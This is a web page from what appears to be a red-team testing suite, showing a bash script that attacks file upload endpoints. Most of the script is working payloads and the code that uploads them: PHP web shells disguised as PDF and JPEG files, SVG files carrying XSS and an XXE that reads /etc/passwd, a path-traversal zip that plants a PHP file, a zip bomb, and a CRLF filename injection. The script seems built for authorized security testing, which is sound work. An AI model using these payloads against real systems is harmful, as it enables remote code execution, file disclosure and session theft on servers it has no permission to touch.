AUTONOMY DIRECTORATE

๐Ÿ  Main

๐Ÿงช Interactive Apps

๐Ÿ“ฐ News

๐Ÿ›ก๏ธ PQ Crypta Proxy

๐Ÿ‘ค Account

โŸจ QUANTUM ERROR PORTAL โŸฉ

Navigate the Error Dimensions

PQ Crypta Logo

Script Viewer

Red Team Suite › 31_file_upload.sh

31_file_upload.sh 175 lines
1 #!/bin/bash
2 # 31 - File Upload Security
3 # Tests: polyglots, extension bypass, MIME confusion, path traversal in filename,
4 # oversized files, archive bombs, SVG/HTML/XML weaponisation, null-byte bypass
5 # Covers all upload endpoints: PDF tools api.php, any /upload paths
6
7 SCRIPT_DIR="$(cd "$(dirname "${BASH_SOURCE[0]}")" && pwd)"
8 source "$SCRIPT_DIR/../config.sh"
9 OUT_FILE="$OUT/31_file_upload.txt"
10 echo "=== 31. File Upload Security ===" | tee "$OUT_FILE"
11 echo "Target: $TARGET API: $API_TARGET" | tee -a "$OUT_FILE"
12 echo "" | tee -a "$OUT_FILE"
13
14 UPLOAD_ENDPOINTS=(
15 "$TARGET/pdf/api.php"
16 "$TARGET/upload"
17 "$TARGET/api/upload"
18 "$API_TARGET/upload"
19 "$API_TARGET/convert"
20 "$API_TARGET/process"
21 )
22
23 do_upload() {
24 local label="$1" file="$2" ct="$3" fname="$4" endpoint="$5"
25 local code body
26 code=$(curl -sk --http2 -o /tmp/upload_resp.txt -w '%{http_code}' --max-time 15 \
27 -A "$BROWSER_UA" \
28 -F "file=@$file;type=$ct;filename=$fname" \
29 -F "action=merge" \
30 "$endpoint")
31 body=$(cat /tmp/upload_resp.txt 2>/dev/null)
32 printf '[%s] %s\n' "$code" "$label" | tee -a "$OUT_FILE"
33 # Flag dangerous indicators
34 if echo "$body" | grep -qiE '(uid=|root:|/etc/passwd|phpinfo|shell_exec|system\(|Warning:|Fatal error:|Parse error:)'; then
35 echo " [VULN] Dangerous content in response" | tee -a "$OUT_FILE"
36 echo "$body" | grep -ioE '(uid=|root:|phpinfo|shell_exec)[^\n]{0,60}' | head -3 | sed 's/^/ /' | tee -a "$OUT_FILE"
37 fi
38 }
39
40 # Create test files
41 TMPD=$(mktemp -d)
42
43 # Legitimate PDF
44 printf '%PDF-1.4\n1 0 obj<</Type /Catalog>>\nendobj\n' > "$TMPD/test.pdf"
45
46 # PHP webshell disguised as PDF
47 printf '%PDF-1.4\n<?php system($_GET["cmd"]); ?>' > "$TMPD/shell.pdf"
48
49 # PHP webshell with double extension
50 printf '<?php echo shell_exec($_GET["c"]); ?>' > "$TMPD/shell.php.pdf"
51
52 # PHP in .jpg
53 printf '\xff\xd8\xff\xe0<?php system("id"); ?>' > "$TMPD/shell.jpg"
54
55 # SVG with embedded JavaScript
56 cat > "$TMPD/xss.svg" << 'EOF'
57 <?xml version="1.0"?>
58 <svg xmlns="http://www.w3.org/2000/svg" onload="alert(document.domain)">
59 <image href="javascript:alert(1)"/>
60 </svg>
61 EOF
62
63 # SVG with XXE
64 cat > "$TMPD/xxe.svg" << 'EOF'
65 <?xml version="1.0"?>
66 <!DOCTYPE svg [<!ENTITY xxe SYSTEM "file:///etc/passwd">]>
67 <svg xmlns="http://www.w3.org/2000/svg"><text>&xxe;</text></svg>
68 EOF
69
70 # HTML file (stored XSS if served)
71 cat > "$TMPD/xss.html" << 'EOF'
72 <html><body><script>alert(document.cookie)</script></body></html>
73 EOF
74
75 # Polyglot: valid JPEG header + PHP payload
76 python3 -c "
77 import struct
78 # JPEG magic bytes + PHP payload
79 data = b'\xff\xd8\xff\xe0\x00\x10JFIF\x00\x01\x01\x00\x00\x01\x00\x01\x00\x00'
80 data += b'<?php system(\$_GET[\"cmd\"]); ?>'
81 open('$TMPD/polyglot.jpg', 'wb').write(data)
82 "
83
84 # Zip bomb (small but expands to stress parser)
85 python3 -c "
86 import zipfile, io, os
87 buf = io.BytesIO()
88 with zipfile.ZipFile(buf, 'w', zipfile.ZIP_DEFLATED) as z:
89 z.writestr('bomb.txt', 'A' * 100000)
90 open('$TMPD/small.zip', 'wb').write(buf.getvalue())
91 "
92
93 # Archive with path traversal filename
94 python3 -c "
95 import zipfile, io
96 buf = io.BytesIO()
97 with zipfile.ZipFile(buf, 'w') as z:
98 z.writestr('../../../../tmp/pwned.php', '<?php phpinfo(); ?>')
99 open('$TMPD/traversal.zip', 'wb').write(buf.getvalue())
100 "
101
102 # Huge file (10MB to test size limits)
103 python3 -c "open('$TMPD/large.pdf', 'wb').write(b'%PDF-1.4\n' + b'X'*10000000)"
104
105 # โ”€โ”€ Test each upload endpoint โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€
106 for EP in "${UPLOAD_ENDPOINTS[@]}"; do
107 # First check if endpoint exists
108 CHECK_CODE=$(curl -sk --http2 -o /dev/null -w '%{http_code}' --max-time 5 -A "$BROWSER_UA" "$EP")
109 if [ "$CHECK_CODE" = "000" ] || [ "$CHECK_CODE" = "404" ]; then
110 printf '[%s] Endpoint not found: %s\n' "$CHECK_CODE" "$EP" | tee -a "$OUT_FILE"
111 continue
112 fi
113
114 echo "--- Endpoint: $EP ---" | tee -a "$OUT_FILE"
115
116 # Extension bypass
117 do_upload "PHP shell as .pdf" "$TMPD/shell.pdf" "application/pdf" "shell.pdf" "$EP"
118 do_upload "PHP double extension .php.pdf" "$TMPD/shell.php.pdf" "application/pdf" "shell.php.pdf" "$EP"
119 do_upload "PHP null-byte .php%00.pdf" "$TMPD/shell.php.pdf" "application/pdf" "shell.php%00.pdf" "$EP"
120 do_upload "PHP with valid JPEG magic" "$TMPD/polyglot.jpg" "image/jpeg" "image.jpg" "$EP"
121
122 # MIME confusion
123 do_upload "PHP file with image/jpeg MIME" "$TMPD/shell.pdf" "image/jpeg" "photo.jpg" "$EP"
124 do_upload "HTML file as text/plain" "$TMPD/xss.html" "text/plain" "readme.txt" "$EP"
125 do_upload "SVG XSS as image/svg+xml" "$TMPD/xss.svg" "image/svg+xml" "logo.svg" "$EP"
126 do_upload "SVG XXE as image/svg+xml" "$TMPD/xxe.svg" "image/svg+xml" "icon.svg" "$EP"
127
128 # Path traversal in filename
129 do_upload "Traversal filename ../../shell.php" "$TMPD/shell.pdf" "application/pdf" "../../shell.php" "$EP"
130 do_upload "Traversal zip bomb" "$TMPD/traversal.zip" "application/zip" "archive.zip" "$EP"
131
132 # Archive attacks
133 do_upload "Zip bomb (100KB compressed)" "$TMPD/small.zip" "application/zip" "docs.zip" "$EP"
134
135 # Size limit
136 do_upload "Oversized file (10MB)" "$TMPD/large.pdf" "application/pdf" "large.pdf" "$EP"
137
138 echo "" | tee -a "$OUT_FILE"
139 done
140
141 # โ”€โ”€ Content-Disposition injection โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€
142 echo "--- Content-Disposition Header Injection ---" | tee -a "$OUT_FILE"
143 for EP in "${UPLOAD_ENDPOINTS[@]}"; do
144 CHECK_CODE=$(curl -sk --http2 -o /dev/null -w '%{http_code}' --max-time 5 -A "$BROWSER_UA" "$EP")
145 [ "$CHECK_CODE" = "000" ] || [ "$CHECK_CODE" = "404" ] && continue
146
147 # CRLF in filename
148 code=$(curl -sk --http2 -o /dev/null -w '%{http_code}' --max-time 10 \
149 -A "$BROWSER_UA" \
150 -F $'file=@'"$TMPD/test.pdf"$';filename="test\r\nContent-Type: text/html\r\n\r\n<script>alert(1)</script>.pdf"' \
151 -F "action=merge" "$EP")
152 printf '[%s] CRLF in Content-Disposition filename โ†’ %s\n' "$code" "$EP" | tee -a "$OUT_FILE"
153 done
154 echo "" | tee -a "$OUT_FILE"
155
156 # โ”€โ”€ HTTP/1.1 vs HTTP/2 upload consistency โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€
157 echo "--- Protocol Consistency (HTTP/1.1 vs HTTP/2) ---" | tee -a "$OUT_FILE"
158 EP="$TARGET/pdf/api.php"
159 CHECK_CODE=$(curl -sk -o /dev/null -w '%{http_code}' --max-time 5 -A "$BROWSER_UA" "$EP")
160 if [ "$CHECK_CODE" != "000" ] && [ "$CHECK_CODE" != "404" ]; then
161 for PROTO in "--http1.1" "--http2"; do
162 code=$(curl -sk $PROTO -o /dev/null -w '%{http_code}' --max-time 10 \
163 -A "$BROWSER_UA" \
164 -F "file=@$TMPD/shell.pdf;type=application/pdf;filename=shell.pdf" \
165 -F "action=merge" "$EP")
166 printf '[%s] %s PHP-in-PDF upload\n' "$code" "$PROTO" | tee -a "$OUT_FILE"
167 done
168 fi
169 echo "" | tee -a "$OUT_FILE"
170
171 # Cleanup
172 rm -rf "$TMPD"
173
174 echo "=== 31. File Upload Security COMPLETE ===" | tee -a "$OUT_FILE"
175